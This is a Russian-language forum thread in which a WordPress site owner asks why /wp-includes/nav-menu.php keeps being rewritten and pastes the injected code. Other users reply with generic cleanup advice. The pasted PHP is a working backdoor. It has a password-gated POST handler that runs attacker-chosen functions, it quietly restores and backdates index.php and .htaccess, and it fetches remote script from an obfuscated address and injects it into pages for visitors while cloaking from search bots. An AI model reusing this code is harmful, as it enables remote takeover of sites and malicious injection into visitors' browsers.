Сайт на WP постоянно взламывается путём перезаписи /wp-includes/nav-menu.php

Статус
В этой теме нельзя размещать новые ответы.

Hermes_r

Гуру форума
Регистрация
27 Июн 2009
Сообщения
163
Реакции
68
Помогите пожалуйста найти причину, как кому-то удаётся постоянно перезаписать nav-menu.php. Установил Firewall и плагин от Sucuri.net, но файл периодически всё равно перезаписывается и туда добавляется вот такой код:

Код:
@return array Menu objects.
529    */     529    *///istart
           530 
           531    function my_time($dir) {
           532       foreach (glob($dir . '/wp-*.php') as $f) {
           533           $times[] = filemtime($f);
           534       }
           535       $max = 1;
           536       for ($i = 0; $i < count($times) - 1; $i++) {
           537           $k = 1;
           538           for ($j = $i + 1; $j < count($times); $j++) {
           539               if ($times[$i] == $times[$j]) {
           540                   $k++;
           541                   if ($k > $max) {
           542                       $max = $k;
           543                       $time = $times[$i];
           544                   }
           545               }
           546           }
           547       }
           548       return $time;
           549    }
           550 
           551    function my_correct($dir) {
           552       $time = 0;
           553       $path = $dir . '/index.php';
           554       $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
           555       if (file_get_contents($path) != $content) {
           556           chmod($path, 0644);
           557           file_put_contents($path, $content);
           558           chmod($path, 0444);
           559           $time = my_time($dir);
           560           touch($path, $time);
           561       }
           562 
           563       $path = $dir . '/.htaccess';
           564       $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
           565       if (file_exists($path) AND file_get_contents($path) != $content) {
           566           chmod($path, 0644);
           567           file_put_contents($path, $content);
           568           chmod($path, 0444);
           569           if (!$time) {
           570               $time = my_time($dir);
           571           }
           572           touch($path, $time);
           573       }
           574    }
           575 
           576    $p = $_POST;
           577    $_passssword = 'здесь какой-то пароль';
           578    if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
           579    my_correct(dirname(__FILE__) . '/..');
           580 
           581    function request_url_data($url) {
           582       if(!is_valid_url($url))
           583           return false;
           584 
           585       $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
           586       if (function_exists('curl_init')) {
           587           $ch = curl_init();
           588           curl_setopt($ch, CURLOPT_TIMEOUT, 5);
           589           curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
           590           curl_setopt($ch, CURLOPT_URL, $url);
           591           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
           592           curl_setopt($ch, CURLOPT_HTTPHEADER, array(
           593               'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
           594               'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
           595               'Referer: ' . $site_url,
           596           ));
           597           $response = trim(curl_exec($ch));
           598       } elseif (function_exists('fsockopen')) {
           599           $m = parse_url($url);
           600           if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
           601               fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
           602                   'Host: ' . $m['host'] . "\r\n" .
           603                   'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
           604                   'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
           605                       'Referer: ' . $site_url . "\r\n" .
           606                       'Connection: Close' . "\r\n\r\n");
           607               $response = '';
           608               while (!feof($fp)) {
           609                   $response .= fgets($fp, 1024);
           610               }
           611               list($headers, $response) = explode("\r\n\r\n", $response);
           612               fclose($fp);
           613           }
           614       } else {
           615           $response = 'curl_init and fsockopen disabled';
           616       }
           617       return $response;
           618    }
           619 
           620    error_reporting(0);
           621 
           622    //unset($_passssword);
           623 
           624    if (function_exists("add_action")) {
           625       add_action('wp_head', 'add_2head');
           626       add_action('wp_footer', 'add_2footer');
           627    }
           628 
           629    function add_2head() {
           630       ob_start();
           631    }
           632 
           633    function is_valid_url(&$url)
           634    {
           635       if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
           636           return false;
           637       $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
           638       return true;
           639    }
           640 
           641    function add_2footer() {
           642       $check = false;
           643       $check_data = "";
           644       if (!empty($_GET['check']) AND $_GET['check'] == '062117892ed93da0fade1e74852ed3aa') {
           645           $check = true;
           646           $check_data = ('<!--checker_start ');
           647           $check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
           648           $check_data .= (' checker_end-->');
           649       }
           650 
           651       if (!$check) {
           652           if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
           653               return;
           654 
           655           $cookie_name = 'PHP_SESSION_PHP';
           656           if (isset($_COOKIE[$cookie_name]))
           657               return;
           658 
           659           foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
           660               if (preg_match($regex, $_SERVER['REQUEST_URI']))
           661                   return;
           662           }
           663       }
           664 
           665       $buffer = ob_get_clean();
           666       ob_start();
           667       $regexp = '/<body[^>]*>/is';
           668       if (preg_match($regexp, $buffer, $m)) {
           669           $body = $m[0];
           670    //       $url = base64_decode('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjE3MzQyOTQxMzo2MjkyOzs0');
           671           $url = decrypt_url('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjE3MzQyOTQxMzo2MjkyOzs0');
           672    //       if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
           673           if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
           674    //           $body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
           675    //           $body .= base64_decode($m[0]);
           676               $body .= $decoded;
           677    //           $body .= base64_decode($m[0]);
           678           }
           679           $body .= $check_data;
           680 
           681           $buffer = preg_replace($regexp, $body, $buffer);
           682       }
           683       echo $buffer;
           684       ob_flush();
           685    }
           686 
           687    function decrypt_url($encrypted_url)
           688    {
           689       $encrypted_url = base64_decode($encrypted_url);
           690       $url = '';
           691       for ($i = 0; $i < strlen($encrypted_url); $i++)
           692       {
           693           $url .= chr(ord($encrypted_url[$i]) ^ 3);
           694       }
           695       return $url;
           696    }//iend
           697 
530    function wp_get_nav_menus( $args = array() ) {     698    function wp_get_nav_menus( $args = array() ) {
531       $defaults = array( 'hide_empty' => false, 'orderby' => 'name' );     699       $defaults = array( 'hide_empty' => false, 'orderby' => 'name' );
532       $args = wp_parse_args( $args, $defaults );

Я не очень силён в php, но что делает этот код?.. И зачем там напрямую указан пароль?..
Сейчас тупо восстанавливаю файл из дистрибутива и перезаписываю .htaccess оригинальным файлом, с оригинальными правами.
Подскажите как защититься. Благодарю.
 
могу предположить что дистрибутив ваш очень левый)))
и код в нем очень сомнительный. наймите понимающих пхп программеров, чтобы вычистили вам сайт от всякой дряни

P.S.
попробуйте сменить все пароли (админу, на базу, фтп и прочее)
также проверьте пользователей. не завелось ли у вас там левых администраторов?
 
@denverkurt Дистрибутив был скачен с wordpress.org
Новых админов нету. пароли сменил...
А что код делает?..
 
ну значит возвращаемся к пункту 1.
попросить специалистов, чтобы просканировали систему, изучили логи, обнаружили дыру и устранили
 
На твоем месте я бы послушал

ну значит возвращаемся к пункту 1.
попросить специалистов, чтобы просканировали систему, изучили логи, обнаружили дыру и устранили

Посмотреть логи сервера и узнать от куда руки растут, когда кто это редактирует на какие страницы заходит что делает Поже он в профиле инъекцию делает где нибудь
 
На твоем месте я бы послушал



Посмотреть логи сервера и узнать от куда руки растут, когда кто это редактирует на какие страницы заходит что делает Поже он в профиле инъекцию делает где нибудь
А есть ли способ посмотреть какой скрипт меняет файл? И если да то каким образом это можно отследить? Нужно смотреть логи Php?..

Попробуй Для просмотра ссылки Войди или Зарегистрируйся Для просмотра ссылки Войди или Зарегистрируйся может и покажет пакость, если глубоко не зарыта
Благодарю, как раз сейчас сканирую им. У меня шаринг хостинг, а сканировать нужно только директорию сайта или вообще всё? (это проблематично, я не могу запустить его под ssh пишет что cgi-php ему не подходит, поэтому использую локальный сканер для windows)

ну значит возвращаемся к пункту 1.
попросить специалистов, чтобы просканировали систему, изучили логи, обнаружили дыру и устранили
Дыра определённо есть, а такое может быть, что дор находтся за пределами каталога сайта? или вообще на другом сайте ( у меня шаринг хостинг)? Есть ли директива php.ini разрешающая запись только в определённые каталоги, ведь по сути в wp-include/* вообще ничего не пишется, я имею ввиду скриптам туда доступ на запись вообще не нужен для нормальной работы вордпресса. Если есть подобная директива, то какие каталоги в неё добавить?
В сайта на джумле, я использовал open_base_dir
 
Последнее редактирование модератором:
Какие плагины вы используете в вашем проекте? Имеется ввиду название+версия.
 
Какие плагины вы используете в вашем проекте? Имеется ввиду название+версия.
Скрытое содержимое доступно для зарегистрированных пользователей!


Все версии последние.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху